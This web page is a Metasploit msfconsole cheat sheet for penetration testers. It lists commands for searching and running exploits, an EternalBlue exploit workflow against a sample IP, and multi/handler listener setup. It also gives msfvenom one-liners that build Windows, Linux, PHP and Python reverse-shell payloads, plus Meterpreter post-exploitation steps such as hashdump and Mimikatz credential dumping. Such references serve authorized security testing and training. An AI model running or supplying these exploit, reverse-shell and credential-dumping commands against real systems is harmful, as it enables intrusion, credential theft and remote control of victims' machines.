GARY IS COMING FOR YOU

You shouldn't have done that.

⚙ MALEVELON CREEK
CLICK TO SCAN
SPACE-BAR SERVICE DESK

Bartender

Here to help you explore

Questions and relevant page context are sent to TypeSafe. Questions Bartender cannot answer are saved to improve the site, without your account or IP. Other conversation stays in this tab.

msfconsole Tool Reference


msfconsole is the primary interface to the Metasploit Framework - the world's most used penetration testing tool. It provides exploit development, payload generation, post-exploitation, and much more.


Starting Metasploit

  • msfconsole - Start console
  • msfconsole -q - Quiet mode (no banner)
  • msfconsole -r script.rc - Run resource script
  • msfconsole -x "commands" - Execute commands

Core Commands

  • help - Show help
  • search <term> - Search modules
  • use <module> - Select module
  • info - Module information
  • show options - Show required options
  • show advanced - Show advanced options
  • set <option> <value> - Set option
  • setg <option> <value> - Set global option
  • unset <option> - Clear option
  • run / exploit - Execute module
  • back - Exit current module
  • exit - Quit msfconsole

Search Syntax

  • search <term> - Basic search
  • search type:exploit <term> - By type
  • search platform:windows - By platform
  • search name:smb - By name
  • search cve:2021 - By CVE year
  • search author:hdm - By author
  • search rank:excellent - By rank

Module Types

  • exploit - Exploitation modules
  • auxiliary - Scanning, fuzzing, etc.
  • post - Post-exploitation
  • payload - Payloads (shellcode)
  • encoder - Payload encoders
  • nop - NOP generators
  • evasion - Evasion modules

Module Commands

  • show exploits - List exploits
  • show auxiliary - List auxiliary
  • show payloads - List payloads (context-aware)
  • show encoders - List encoders
  • show targets - Show exploit targets
  • show options - Current module options
  • check - Check if target is vulnerable

Payload Options

  • set PAYLOAD <payload> - Set payload
  • set LHOST <ip> - Local host (listener)
  • set LPORT <port> - Local port (listener)
  • set RHOST <ip> - Remote host (target)
  • set RHOSTS <ip/range> - Remote hosts
  • set RPORT <port> - Remote port

Common Payloads

Windows

  • windows/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_https
  • windows/shell/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp

Linux

  • linux/x86/meterpreter/reverse_tcp
  • linux/x64/meterpreter/reverse_tcp
  • linux/x86/shell/reverse_tcp

Multi-platform

  • multi/handler - Catch incoming connections
  • generic/shell_reverse_tcp

Session Management

  • sessions - List active sessions
  • sessions -i <id> - Interact with session
  • sessions -k <id> - Kill session
  • sessions -K - Kill all sessions
  • sessions -u <id> - Upgrade to meterpreter
  • background / bg - Background session

Meterpreter Commands

Core

  • help - Show commands
  • background - Background session
  • exit - Terminate session
  • sysinfo - System information
  • getuid - Current user
  • getpid - Process ID

File System

  • pwd - Print working directory
  • cd - Change directory
  • ls - List files
  • cat - Display file
  • download file - Download file
  • upload file - Upload file
  • rm file - Remove file
  • mkdir dir - Create directory
  • search -f pattern - Search files

Process

  • ps - List processes
  • migrate <pid> - Migrate to process
  • kill <pid> - Kill process
  • execute -f cmd - Execute command

Network

  • ipconfig / ifconfig - Network info
  • netstat - Network connections
  • portfwd - Port forwarding
  • route - Routing table

Privilege Escalation

  • getsystem - Attempt SYSTEM
  • hashdump - Dump password hashes
  • load kiwi - Load Mimikatz
  • creds_all - All credentials (kiwi)

Database Commands

  • db_status - Database status
  • workspace - Manage workspaces
  • hosts - List hosts in DB
  • services - List services
  • vulns - List vulnerabilities
  • creds - List credentials
  • loot - List loot
  • db_nmap - Run nmap, save to DB
  • db_import file - Import scan results

Common Workflows

Exploit Workflow

search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit

Handler Setup

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
exploit -j

Port Scan

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 22,80,443,445
run

SMB Enumeration

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run

Payload Generation (msfvenom)

# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe > shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf > shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw > shell.php

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw

# List formats
msfvenom --list formats

Resource Scripts

Create .rc files to automate tasks:

# handler.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
exploit -j

Run with: msfconsole -r handler.rc


Tips

  • Always run db_status to ensure database is connected
  • Use workspaces to organize different engagements
  • Use -j with exploit to run as job (background)
  • Check if target is vulnerable before exploiting
  • Use staged payloads for smaller initial size
  • Use HTTPS payloads to bypass firewalls
  • Update regularly: msfupdate
  • Only use with proper authorization